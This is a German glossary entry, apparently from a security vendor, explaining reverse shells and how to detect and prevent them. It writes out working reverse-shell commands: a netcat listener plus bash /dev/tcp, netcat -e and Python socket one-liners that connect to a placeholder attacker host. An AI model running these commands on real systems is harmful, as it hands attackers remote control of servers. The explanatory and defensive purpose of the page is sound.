Glossar Reverse Shell

Reverse Shell

TL;DR: Reverse Shell

Ein Reverse Shell, auch bekannt als Connect-Back-Shell, ist, wenn ein kompromittiertes System eine Verbindung zum Angreifer herstellt und ihm eine Live-Befehlszeilensitzung gibt.

Warum ist das wichtig?

  • Reverse Shells können Firewalls umgehen, da die meisten Firewalls eingehende Verbindungen blockieren, aber ausgehende zulassen.
  • Angreifer erhalten echte Kontrolle, weil sie Befehle ausführen können, als wären sie direkt eingeloggt.
  • Reverse Shells sind sehr verbreitet, da sie ein Standard-Schritt sind, nachdem ein Angreifer ein System ausgenutzt hat.

Stellen Sie sich das so vor: Anstatt dass der Angreifer versucht, einzudringen, tricksen sie den Server aus, damit er sich bei ihnen meldet.

Was ist ein Reverse Shell?

Ein Reverse Shell ist eine Remote-Shell, bei der der Computer des Opfers die Verbindung zum Computer des Angreifers startet.

Normalerweise startet Ihr Computer die Verbindung, wie wenn Sie eine Website besuchen. Bei einem Reverse Shell ist dies umgekehrt. Nachdem der Angreifer einen Weg gefunden hat, Code auszuführen, verbindet sich der Server zurück zum Angreifer.

Eine einfache Möglichkeit, sich das zu merken:

  • Bind Shell: Sie versuchen, sich mit dem Server zu verbinden. Wenn eine Firewall Sie blockiert, können Sie nicht durchkommen.
  • Reverse Shell: Der Server verbindet sich mit Ihnen. Da ausgehende Verbindungen normalerweise erlaubt sind, können Sie antworten und die Kontrolle übernehmen.

Warum Reverse Shells wichtig sind

Sicherheitsteams konzentrieren sich normalerweise auf Abwehrmaßnahmen wie Firewalls, Load Balancer und die Begrenzung von Ports. Diese funktionieren, bis ein Angreifer es schafft, Code innerhalb des Systems auszuführen.

Wenn das passiert, wird das Reverse Shell zum Hauptweg des Angreifers, um im System zu bleiben.

Warum ist das gefährlich:

  • Ausgehender Datenverkehr wird vertraut.

    Firewalls erlauben oft ausgehenden Datenverkehr auf Ports wie 80 oder 443 für Updates und APIs. Reverse Shells können sich in diesem erlaubten Datenverkehr verstecken.

  • Angreifer können den Zugriff aufrechterhalten.

    Selbst wenn das ursprüngliche Sicherheitsloch geschlossen wird, kann eine aktive Shell den Angreifern weiterhin die Kontrolle über das System ermöglichen.

  • Es ermöglicht laterale Bewegungen.

    Mit einer Shell können Angreifer das interne Netzwerk erkunden, Passwörter stehlen und sich zu anderen Computern bewegen. Eine Schwachstelle kann schnell dazu führen, dass die gesamte Umgebung kompromittiert wird.

Wie ein Reverse Shell funktioniert

Ein Reverse Shell hat zwei Hauptkomponenten: den Listener und das Payload.

1. Der Listener (Angreifer-Seite)

Der Angreifer verwendet ein Programm, das auf Verbindungen wartet. Netcat ist ein gängiges Werkzeug dafür.

nc -lvnp 4444

Dieser Befehl weist den Computer des Angreifers an, auf Port 4444 zu lauschen und auf eine Verbindung zu warten.

2. Das Payload (Opfer-Seite)

Nachdem eine Schwachstelle wie Remote Code Execution gefunden wurde, führt der Angreifer einen Befehl auf dem Server des Opfers aus, um eine Shell zu öffnen und zurückzusenden.

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Dieser Befehl startet eine Bash-Shell und sendet alle Eingaben und Ausgaben an den Computer des Angreifers.

3. Die Verbindung

Der Server des Opfers startet eine ausgehende Verbindung. Die Firewall sieht dies als normal an und erlaubt es. Der Listener des Angreifers akzeptiert die Verbindung und gibt dem Angreifer eine Live-Shell auf dem Server.

In diesem Stadium hat der Angreifer die volle interaktive Kontrolle über den Server.

Häufige Beispiele für Reverse Shells

Angreifer und ethische Hacker passen ihren Ansatz basierend auf den verfügbaren Tools auf dem Zielsystem an.

Bash (Häufig auf Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Wird verwendet, wenn Netcat auf der Zielmaschine verfügbar ist.

nc -e /bin/sh 10.0.0.1 4444

Python

Python ist sehr verbreitet auf modernen Servern.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

Das Wissen um den Unterschied zwischen Reverse Shells und Bind Shells hilft bei der Verteidigung von Netzwerken.

MerkmalBind ShellReverse Shell
VerbindungsrichtungAngreifer zu OpferOpfer zu Angreifer
Firewall-AuswirkungOft blockiertOft erlaubt
Netzwerk-AnforderungenDirekter Zugriff erforderlichFunktioniert durch NAT und Firewalls
Typischer AnwendungsfallInterne NetzwerkeAngriffe in der realen Welt

Wer verwendet Reverse Shells?

  • Penetrationstester verwenden Reverse Shells, um zu beweisen, dass eine Schwachstelle zu einer vollständigen Systemkompromittierung führen kann.
  • Red Teams verwenden Reverse Shells, um zu testen, wie gut ausgehender Datenverkehr kontrolliert wird.
  • Böswillige Akteure verwenden Reverse Shells, um Ransomware zu verbreiten, Daten zu stehlen oder sich weiter in ein Netzwerk zu bewegen.
  • Systemadministratoren verwenden Reverse Shells selten für den Fernzugriff. Sie bevorzugen normalerweise sichere SSH-Tunnel.

Erkennung und Prävention

Das Stoppen von Reverse Shells erfordert mehrere Verteidigungsschichten.

  • Ausgehende Datenverkehrsfilterung

    Server sollten keinen offenen Zugang zum Internet haben. Begrenzen Sie, welche Ziele und Ports sie nutzen können.

  • Verhaltensüberwachung

    Ein Webserver, der einen Shell-Prozess wie /bin/bash oder cmd.exe startet, ist höchst verdächtig.

  • Angriffsfläche reduzieren.

    Entfernen Sie ungenutzte Werkzeuge wie Netcat, Compiler und zusätzliche Interpreter von Produktionssystemen.

Verwandte Begriffe

  • Remote Code Execution (RCE)
  • Bind Shell

FAQ: Reverse Shell

Ist ein Reverse Shell illegal?

Reverse Shells sind nur legal, wenn Sie sie auf Systemen verwenden, die Sie besitzen oder für die Sie eine klare Erlaubnis zum Testen haben. Die Verwendung ohne Erlaubnis ist illegal.

Warum erlauben Firewalls Reverse Shells?

Firewalls sind darauf ausgelegt, eingehende Bedrohungen zu blockieren und vertrauen normalerweise ausgehendem Datenverkehr. Reverse Shells nutzen dies aus.

Kann ein Antivirus Reverse Shells erkennen?

Manchmal. Antivirus-Software, die Signaturen verwendet, kann bekannte Shell-Programme finden, aber fileless Shells, die mit Bash oder Python erstellt wurden, sind viel schwerer zu erkennen.

Was ist der Unterschied zwischen einem Reverse Shell und einem Webshell?

Ein Webshell wird über einen Browser verwendet und bleibt normalerweise auf dem System, hat aber eingeschränkte Funktionen. Ein Reverse Shell bietet eine Live-, interaktive Kommandozeilensitzung.

Nächste Schritte

Bereit, Ihre Anwendungen zu sichern? Wählen Sie Ihren weiteren Weg.

Schließen Sie sich über 500 Unternehmen an, die ihre Anwendungen bereits mit Plexicus sichern

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready